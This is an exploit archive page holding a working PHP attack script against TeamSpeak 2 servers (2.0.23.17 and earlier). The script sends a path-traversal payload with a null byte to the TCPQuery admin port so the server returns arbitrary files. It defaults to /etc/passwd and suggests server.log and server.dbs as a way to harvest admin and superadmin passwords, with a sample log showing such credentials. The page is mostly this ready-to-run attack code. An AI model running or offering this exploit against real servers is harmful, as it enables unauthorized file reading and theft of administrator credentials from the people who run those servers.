exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

TeamSpeak 2.0.23.17 File Disclosure

TeamSpeak 2.0.23.17 File Disclosure
Posted Jan 14, 2009
Authored by c411k | Site forum.antichat.ru

TeamSpeak versions 2.0.23.17 and below suffer from a remote file disclosure vulnerability.

tags | exploit, remote, info disclosure
SHA-256 | 8894836c9f7a3fab509a99e94dc4f91689d114dd68dfe84f6e662dd15d6fad66

TeamSpeak 2.0.23.17 File Disclosure

Change Mirror Download
<?php
// teamspeak server <= 2.0.23.17 remote read file vulnerability
// bug found and exploit write by c411k
// http://www.heise-online.co.uk/security/Vulnerability-in-TeamSpeak-2-server--/news/93734 zazhali ploent svolo4i!!
// tested on win ts2_server_rc2_202317, ts2_server_rc2_20201.exe
// grats all https://forum.antichat.ru
// use http://localhost/ts_xek.php
// 10.01.09

error_reporting(0);
@ini_set("max_execution_time",0);
@ini_set('output_buffering',0);
@set_magic_quotes_runtime(0);
@set_time_limit(0);
@ob_implicit_flush(1);

header("Content-Type: text/html; charset=utf-8\r\n");
header("Pragma: no-cache");

function check_ver($site, $xek, $port)
{
$url = fsockopen("$site", "$port", $errno, $errstr, 22);
$send_pac = "$xek\r\n\r\n";
fputs($url, $send_pac);
$s = '';

while (!feof($url) and strpos(implode($s), 'OK') === false)
{
$s[] = fgets($url, 1028);
}
fclose($url);
return implode($s);
}

function html()
{
if (isset($_POST['file']))
$file = $_POST['file'];
else $file = '../../../../../etc/passwd';
echo
'<pre><form action="'.$_SERVER['PHP_SELF'].'?go_fuck" method="post">
<input style="background-color: #31333B; color: #B9B9BD; border-color: #646C71;" name="parampampam" type="submit" value=" read file... ">
<input style="background-color: #31333B; color: #B9B9BD; border-color: #646C71;" name="check_ver" type="submit" value=" check_version "><br>
<input style="background-color: #31333B; color: #B9B9BD;" name="hostname" value="localhost"><font color="#B9B9BD"> ¬ teamspeak hostname or ip, for expamle "ts.antichat.ru"
<input style="background-color: #31333B; color: #B9B9BD;" name="port" value="51234"><font color="#B9B9BD"> ¬ port to TCQquery admin, default 51234
<input style="background-color: #31333B; color: #B9B9BD;" name="file" value="'.$file.'"><font color="#B9B9BD"> ¬ file to read.';
}

function info()
{
echo
'<br>
for example:
server.log
server.dbs
../../../../../boot.ini
../../../../../etc/passwd
../../../../../usr/local/apache/conf/httpd.conf etc.
brain on ;)

admin and superadmin passwords you can see in server.log or server.dbs. but in windows i can\'t read this files.

<textarea style="background-color: #31333B; color: #B9B9BD;" name="zz" cols=90 rows=16>---------------------------------------------------------------
-------------- log started at 10-01-09 00:24 -------------
---------------------------------------------------------------
10-01-09 00:24:28,ALL,Info,server, Server init initialized
10-01-09 00:24:28,ALL,Info,server, Server version: 2.0.20.1 Win32
10-01-09 00:24:28,WARNING,Info,SQL, created table ts2_servers
10-01-09 00:24:28,WARNING,Info,SQL, created table ts2_server_privileges
10-01-09 00:24:28,WARNING,Info,SQL, created table ts2_channels
10-01-09 00:24:28,WARNING,Info,SQL, created table ts2_channel_privileges
10-01-09 00:24:28,WARNING,Info,SQL, created table ts2_clients
10-01-09 00:24:28,WARNING,Info,SQL, created table ts2_bans
10-01-09 00:24:28,ALL,Info,server, Starting VirtualServer id:1 with port:8767
10-01-09 00:24:28,WARNING,Info,SERVER, Default VirtualServer created
10-01-09 00:24:28,WARNING,Info,SERVER, admin account info: username: admin password: kcqy8y
10-01-09 00:24:28,WARNING,Info,SERVER, superadmin account info: username: superadmin password: e7em45
10-01-09 00:24:29,ALL,Info,server, Server init finished</textarea></form>';
}

function head()
{
echo '<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>xek_teamspeak2</title>
<style>
<!--
A:link {COLOR: #B9B9BD; TEXT-DECORATION: none}
A:visited {COLOR: #B9B9BD; TEXT-DECORATION: none}
A:active {COLOR: #228B22; TEXT-DECORATION: none}
A:hover {COLOR: #E7E7EB; TEXT-DECORATION: underline}
BODY
{
margin="5";
FONT-WEIGHT: normal;
COLOR: #B9B9BD;
BACKGROUND: #44474F;
FONT-FAMILY: Courier new, Courier, Verdana, Arial, Helvetica, sans-serif;
}

-->
</style>
</head>
<body>';
}

head();

if (!$_GET)
{
html();
info();
}

if (isset($_GET['go_fuck']))
{
$hostname = $_POST['hostname'];
$file = $_POST['file'];
$port = $_POST['port'];

if (isset($_POST['check_ver']))
{
echo '<pre>'.check_ver($hostname, 'ver', $port);

}

if (isset($_POST['parampampam']))
{
echo '<textarea style="background-color: #31333B; color: #B9B9BD;" name="zz" cols=90 rows=16>'.check_ver($hostname, 'help /../'.$file."\0", $port).'</textarea>';
html();

}
}

?>

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close